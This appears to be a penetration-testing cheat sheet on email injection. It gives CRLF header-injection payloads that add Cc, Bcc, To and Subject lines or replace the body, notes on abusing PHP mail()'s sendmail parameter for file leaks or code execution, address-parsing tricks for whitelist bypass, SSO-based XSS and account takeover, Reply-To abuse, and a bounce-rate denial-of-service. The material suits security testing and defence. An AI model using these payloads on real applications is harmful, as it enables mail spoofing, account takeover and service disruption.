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2023-03-05 22:38:33 +01:00

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Email Injections

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Inject in sent e-mail

Inject Cc and Bcc after sender argument

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

The message will be sent to the recipient and recipient1 accounts.

Inject argument

From:sender@domain.com%0ATo:attacker@domain.com

The message will be sent to the original recipient and the attacker account.

Inject Subject argument

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

The fake subject will be added to the original subject and in some cases will replace it. It depends on the mail service behavior.

Change the body of the message

Inject a two-line feed, then write your message to change the body of the message.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() function exploitation

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
  - Parameters [5] {
    Parameter #0 [ <required> $to ]
    Parameter #1 [ <required> $subject ]
    Parameter #2 [ <required> $message ]
    Parameter #3 [ <optional> $additional_headers ]
    Parameter #4 [ <optional> $additional_parameters ]
  }
}

The 5th parameter ($additional_parameters)

This section is going to be based on how to abuse this parameter supposing that an attacker controls it.

This parameter is going to be added to the command line PHP will be using to invoke the binary sendmail. However, it will be sanitised with the function escapeshellcmd($additional_parameters).

An attacker can inject extract parameters for sendmail in this case.

Differences in the implementation of /usr/sbin/sendmail

sendmail interface is provided by the MTA email software (Sendmail, Postfix, Exim etc.) installed on the system. Although the basic functionality (such as -t -i -f parameters) remains the same for compatibility reasons, other functions and parameters vary greatly depending on the MTA installed.

Here are a few examples of different man pages of sendmail command/interface:

Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
Postfix MTA: http://www.postfix.org/mailq.1.html
Exim MTA: https://linux.die.net/man/8/eximReferences

Depending on the origin of the sendmail binary different options have been discovered to abuse them and leak files or even execute arbitrary commands. Check how in https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Inject in the e-mail name

Ignored parts of an email

The symbols: +, - and {} in rare occasions can be used for tagging and ignored by most e-mail servers

E.g. john.doe+intigriti@example.com → john.doe@example.com

Comments between parentheses () at the beginning or the end will also be ignored

E.g. john.doe(intigriti)@example.com → john.doe@example.com

Whitelist bypass

Quotes

IPs

You can also use IPs as domain named between square brackets:

john.doe@[127.0.0.1]
john.doe@[IPv6:2001:db8::1]

Other vulns

Third party SSO

XSS

Some services like github or salesforce allows you to create an email address with XSS payloads on it. If you can use this providers to login on other services and this services aren't sanitising correctly the email, you could cause XSS.

Account-Takeover

If a SSO service allows you to create an account without verifying the given email address (like salesforce) and then you can use that account to login in a different service that trusts salesforce, you could access any account.
Note that salesforce indicates if the given email was or not verified but so the application should take into account this info.

Reply-To

You can send an email using From: company.com** ** and Replay-To: attacker.com and if any automatic reply is sent due to the email was sent from an internal address the attacker may be able to receive that response.

Hard Bounce Rate

Some applications like AWS have a Hard Bounce Rate (in AWS is 10%), that whenever is overloaded the email service is blocked.

A hard bounce is an email that couldn’t be delivered for some permanent reasons. Maybe the email’s a fake address, maybe the email domain isn’t a real domain, or maybe the email recipient’s server won’t accept emails) , that means from total of 1000 emails if 100 of them were fake or were invalid that caused all of them to bounce, AWS SES will block your service.

So, if you are able to send mails (maybe invitations) from the web application to any email address, you could provoke this block by sending hundreds of invitations to nonexistent users and domains: Email service DoS.

References